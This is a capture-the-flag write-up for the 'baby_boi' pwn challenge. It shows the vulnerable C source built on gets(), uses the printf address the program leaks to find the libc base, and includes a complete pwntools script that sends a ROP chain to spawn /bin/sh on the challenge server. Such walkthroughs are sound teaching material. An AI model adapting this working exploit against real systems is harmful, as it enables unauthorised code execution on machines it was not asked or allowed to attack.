Tags: pwn rop
Rating:
`baby_boi` is pretty much the simplest possible modern ROP (the modern security protections NX and ASLR are not artificially disabled, but you get everything you need to work around them). We even get source code.
```c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv[]) {
char buf[32];
printf("Hello!\n");
printf("Here I am: %p\n", printf);
gets(buf);
}
```
The printf leak looks like:
```
$ nc pwn.chal.csaw.io 1005
Hello!
Here I am: 0x7f3c0a0b3e80
```
Let's figure out its offset in libc, by grepping the output of `readelf` on the provided libc:
```
$ readelf -s libc-2.27.so | grep ' printf@'
627: 0000000000064e80 195 FUNC GLOBAL DEFAULT 13 printf@@GLIBC_2.2.5
```
So `printf` is at offset `0x64e80` in the server's libc. Gathering ROP gadgets:
```
$ ROPgadget --binary libc-2.27.so > gadgets.txt
```
For the full exploit, we decide that we want to set up the stack like this (top to bottom), where parentheses denote the location of the ROP gadget.
```
(pop rax ; ret)
0x3b
(pop rdi ; ret)
(pointer to "/bin/sh")
(pop rdx ; pop rsi ; ret)
0
0
(syscall)
```
```
0x00000000000439c8 : pop rax ; ret
0x000000000002155f : pop rdi ; ret
0x00000000001306d9 : pop rdx ; pop rsi ; ret
0x00000000000d2975 : syscall ; ret
```
```
$ strings -tx libc-2.27.so | grep /bin/sh
1b3e9a /bin/sh
```
### The Full Exploit
```python
from pwn import *
# One of the many magic things pwntools does is that you can accept arguments
# from the environment or command line with zero setup, e.g. run this script as
#
# $ python exploit.py REMOTE
#
# to run it against the remote server, or don't pass REMOTE to run it locally.
if args['REMOTE']:
conn = remote('pwn.chal.csaw.io', 1005)
else:
conn = process('baby_boi')
# conn.recvuntil("some string") is often more useful, but the input here
# doesn't have a super obvious terminator, so we read line by line.
conn.recvline()
ptr_line = conn.recvline()
ptr_text = re.search(r'0x([0-9a-z]+)', ptr_line.decode('utf-8')).group(1)
printf_ptr = int(ptr_text, 16)
libc_base = printf_ptr - 0x64e80
# The ROP chain, using these offsets as found above:
# 0x00000000000439c8 : pop rax ; ret
# 0x000000000002155f : pop rdi ; ret
# 0x00000000001306d9 : pop rdx ; pop rsi ; ret
# 0x1b3e9a /bin/sh
# 0x00000000000d2975 : syscall ; ret
exploit = b"a" * 40 # padding
exploit += p64(libc_base + 0x439c8) # `pop rax ; ret`
exploit += p64(59) # execve's syscall number, popped into rax
exploit += p64(libc_base + 0x2155f) # `pop rdi ; ret`
exploit += p64(libc_base + 0x1b3e9a) # "/bin/sh"
exploit += p64(libc_base + 0x1306d9) # `pop rdx ; pop rsi ; ret`
exploit += p64(0) # NULL, popped into rdx
exploit += p64(0) # NULL, popped into rsi
exploit += p64(libc_base + 0xd2975) # `syscall; ret`
exploit += b"\n"
# Send the exploit
conn.sendline(exploit)
# This should pop a shell, so now let us interact with the shell
conn.interactive()
```
[More details](https://blog.vero.site/post/baby-boi)